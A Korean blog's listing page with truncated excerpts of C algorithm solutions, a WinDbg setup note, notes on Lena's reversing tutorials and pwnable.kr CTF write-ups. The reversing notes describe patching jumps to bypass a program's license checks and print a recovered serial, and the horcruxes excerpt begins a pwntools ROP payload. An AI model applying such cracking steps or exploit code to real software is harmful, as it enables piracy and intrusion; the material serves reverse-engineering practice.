[백준 2455] 지능형 기차 #include #pragma warning (disable:4996) int main() { int st_in, st_out; int num_in_train = 0; int max = 0; int i; for (i = 0; i 10000) num_in_train = 10000; if (max < num_in_train) max = num_in_train; } printf("%d", max); } Code 2020.01.09
[백준2292] 벌집 #include #pragma warning(disable:4996) int main() { int num; int Max_round = 7; int count = 1; scanf("%d",&num); if(num == 1){ printf("1"); return 0; } else{ while (1) { if (num > Max_round) { count += 1; Max_round += 6*count; continue; } else printf("%d\n",count+1); break; } } return 0; } Code 2020.01.09
[C Programming] 달팽이 배열 #include void SnailArr(int(*ptrArr)[100], int len); void ShowArr(int(*ptrArr)[100], int len); int main() { int num; int arr[100][100]; scanf_s("%d", &num); SnailArr(arr, num); ShowArr(arr, num); return 0; } void SnailArr(int(*ptrArr)[100], int len) { int i; int x=0,y=0; int count = 1; int round = 0; while (count < (len * len)) { for (i = 1; i < (len - round); i++) { ptrArr[x][y] = count; y++; co.. Code 2020.01.09
[백준 1094] 막대기 #include #pragma warning (disable:4996) int count = 0; void HalfStick(int stick, int x) { while (stick > x) { stick = stick / 2; } if (stick < x) { x -= stick; count++; } if (x == stick) { count++; return; } HalfStick(stick, x); }; int main() { int stick = 64; int x; scanf("%d", &x); HalfStick(stick,x); printf("%d", count); } Code 2020.01.09
[C Programming] 에라토스테네스의 체 /* ================== 에라토스테네스의 체 ================== */ #include #include // malloc,free #pragma warning(disable:4996) int main() { int i, j, k; int num; scanf("%d", &num); int *prime = malloc(sizeof(int) * num); //(int크기)x(num크기)만큼 동적메모리 할당 for (i = 2; i Code 2020.01.09
windbg 설정 windbg 설정 1. 윈도우 환경 변수에 심볼 경로 등록 cmd 관리자권한 set _NT_SYMBOL_PATH=srv*DownstreamStore*http://msdl.microsoft.com/download/symbols 2. windbg실행 이후 심볼 설정 windbg의 symbol file path에서 SRV*C:\Symbols*http://msdl.microsoft.com/download/symbols vmware랑 windbg에서 경로 넣어줄때. \\.\pipe\frog_com notepad 2020.01.09
[lena's reversing tutorial] tutorial 6 #lena reversing 6 5CC74D에 CMP명령어 부분에서 비교를 함을 알 수 있음. 610C4A의 값 == 00임을 검사한다. Expired검사 & unregister검사 610C5E == 00 unregister검사 pc surgeon의 about 부분의 unreigster 부분을 패치할것. 텍스트를 찾아 을 찾음.. 해당 부분에 bp를 걸고, 아래에 라이센스 버전 쪽으로 점프해야한다. jnz부분임. 플래그를 변경해줘서 확인 후 jmp로 패치. 5CC828의 JNZ를 JMP로 변경 562466도 jmp로 all modification으로 저장. 50BA1C 문자열: Reversing 2020.01.09
[lena's reversing tutorial] tutorial 9 레나 9번 ctrl + N :name창이 열린다. import address 관련 내용이 나오는데, VB 프로그래밍에서 (분기에서)대표적으로 사용되는건 The most important are : __vbaVarTstEq __vbaVarTstNe __vbaVarCmpEq __vbaStrCmp __vbaStrComp __vbaStrCompVar __vbaVarTstEq 에는 라이센스 비교 루틴이 함께 들어있다. 아까 name창에서 VBAVARTSTEQ를 검색. 마우스 우클릭 - > set breakpoint on every reference : 참조 할 때마다 브레이크 이후 f9로 실행. 계속 내려가다 보면 vbaStrCopy가 호출되고 oeiu-564-oqei-97 유니코드가 나오는 것을 알 수 있음. .. Reversing 2020.01.09
[pwnable.kr] horcruxes from pwn import * context.log_level = 'debug' s = ssh(user='horcruxes', host='pwnable.kr', port=2222, password='guest') conn = s.connect_remote('localhost',9032) A_addr = 0x809fe4b B_addr = 0x809fe6a C_addr = 0x809fe89 D_addr = 0x809fea8 E_addr = 0x809fec7 F_addr = 0x809fee6 G_addr = 0x809ff05 call_ropme_addr = 0x0809fffc payload = 'A'*120 payload += p32(A_addr) payload += p32(B_addr) payload +=.. System Hacking 2020.01.09
[pwnable.kr] blukat #include #include #include #include char flag[100]; char password[100]; char* key = "3\rG[S/%\x1c\x1d#0?\rIS\x0f\x1c\x1d\x18;,4\x1b\x00\x1bp;5\x0b\x1b\x08\x45+"; void calc_flag(char* s){ int i; for(i=0; i System Hacking 2020.01.09